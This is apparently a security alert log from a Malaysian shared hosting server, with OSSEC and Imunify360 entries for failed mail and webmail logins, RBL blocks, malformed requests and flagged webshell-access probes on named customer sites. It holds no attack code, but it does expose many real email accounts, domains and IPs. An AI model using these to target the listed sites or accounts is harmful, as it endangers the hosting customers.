description:
[2026-01-27 14:25:41 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:26:21 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:27:39 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.254
country_id: 2300660
description:
Jan 27 14:28:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.101.164
country_id: 1733045
description:
[2026-01-27 14:28:01 +0800] info [webmaild] 183.171.101.164 - rabileh@tujusetia.my "GET /cpsess7066048582/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769495281987&_=1769411043771 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:28:04 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:29:21 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess5957965370/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.121
country_id: 732800
description:
Jan 27 14:29:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.183.39.72
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=602659 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.99.78.0
country_id: 1643084
description:
2026-01-27 14:30:05 dovecot_plain authenticator failed for H=(L7V1JJ7) [118.99.78.0]:27977: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:30:22 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess5957965370/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 27 14:31:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.146
country_id: 953987
description:
Jan 27 14:31:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:31:05 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess3817095794/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.14.36
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20351523583914 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9690: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.189
country_id: 3865483
description:
Jan 27 14:34:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14682: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.85
country_id: 3469034
description:
Jan 27 14:35:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.47.222.33
country_id: 3469034
description:
Jan 27 14:35:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.47.222.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.55.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-36.142.111.55.56||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.79.194
country_id: 3686110
description:
Jan 27 14:38:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.79.194 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/survey-meter/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.24.86
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=794941 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.224
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.196.192
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 14:43:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 14:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57622: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.56
country_id: 3469034
description:
Jan 27 14:45:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.174.180.151
country_id: 3057568
description:
Jan 27 14:46:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.174.180.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.150
country_id: 3175395
description:
Jan 27 14:46:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.63
country_id: 953987
description:
Jan 27 14:46:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.63
country_id: 953987
description:
Jan 27 14:47:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 4.240.72.122
country_id: 1269750
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162746.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.147.141
country_id: 1562822
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162608.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.105.223.161
country_id: 690791
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207160215.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.230.249
country_id: 3686110
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207165858.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.104.115
country_id: 3865483
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162406.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.239
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.235
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/all.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.52.208
country_id: 3658394
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/mutiara-central/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.155
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.211
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.146
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.142
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/bootstrap.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.160.131.100
country_id: 1814991
description:
Jan 27 14:52:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.160.131.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.160.131.100
country_id: 1814991
description:
2026-01-27 14:52:27 dovecot_login authenticator failed for H=([117.160.131.100]) [117.160.131.100]:38216: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.194.24
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/about.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 66.56.82.17
country_id: 6251999
domain: cabe.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.90 Safari/537.36||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9694: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15260: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.2.80.242
country_id: 2464461
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/SaveSessionListener.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.105.224.72
country_id: 1861060
description:
Jan 27 15:04:53 sv3 pure-ftpd[2513036]: (?@172.105.224.72) [INFO] New connection from 172.105.224.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.89
country_id: 3469034
description:
Jan 27 15:04:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.173.78
country_id: 3469034
description:
Jan 27 15:05:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.173.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.89
country_id: 3469034
description:
Jan 27 15:05:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 15:07:46 +0800] info [webmaild] 180.75.72.60 - ken@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.98.174
country_id: 1269750
description:
Jan 27 15:07:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.98.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.98.174
country_id: 1269750
description:
2026-01-27 15:07:59 dovecot_login authenticator failed for H=([27.123.98.174]) [27.123.98.174]:55274: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.27.33.174
country_id: 6252001
description:
2026-01-27 15:08:39 dovecot_plain authenticator failed for H=c-73-27-33-174.hsd1.fl.comcast.net (betracenic) [73.27.33.174]:44056: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 15:09:01 +0800] info [webmaild] 180.75.72.60 - hr@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.12.138
country_id: 1814991
description:
Jan 27 15:08:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.12.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.144.235
country_id: 1733045
description:
[2026-01-27 15:08:12 +0800] info [webmaild] 115.134.144.235 - horizon@tst-ma.com "POST /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [60.50.199.9] != Current IP Address [115.134.144.235]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.27.33.174
country_id: 6252001
description:
Jan 27 15:08:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.27.33.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 4.35.66.245
country_id: 6252001
description:
Jan 27 15:09:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 4.35.66.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.35.66.245
country_id: 6252001
description:
2026-01-27 15:09:42 dovecot_login authenticator failed for H=([4.35.66.245]) [4.35.66.245]:48980: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.57.245.145
country_id: 1269750
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 15:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63298: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 15:15:55 H=([45.144.212.242]) [45.144.212.242]:62556 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 15:17:14 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.135
country_id: 2017370
description:
Jan 27 15:17:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-01-27 15:17:42 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:37004: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.149.195
country_id: 1733045
description:
Jan 27 15:18:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.149.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.195
country_id: 1733045
description:
2026-01-27 15:18:04 dovecot_login authenticator failed for H=([49.124.149.195]) [49.124.149.195]:36668: 535 Incorrect authentication data (set_id=ahmad.asif)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.123.118
country_id: 1269750
description:
2026-01-27 15:19:42 dovecot_login authenticator failed for H=([128.185.13.33]) [122.184.123.118]:36092: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.184.123.118
country_id: 1269750
description:
Jan 27 15:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.184.123.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/img/photos/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.156.158
country_id: 241170
description:
Jan 27 15:24:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.156.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
2026-01-27 15:24:25 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:60550: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.220.90
country_id: 1269750
description:
Jan 27 15:25:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.220.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-01-27 15:25:41 dovecot_login authenticator failed for H=(dsl-tn-dynamic-137.209.22.125.airtelbroadband.in) [128.185.220.90]:46578: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.14.177.176
country_id: 6252001
domain: 34.219.81.247
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.219.81.247/azenv2.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9699: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.77.111.2
country_id: 1562822
description:
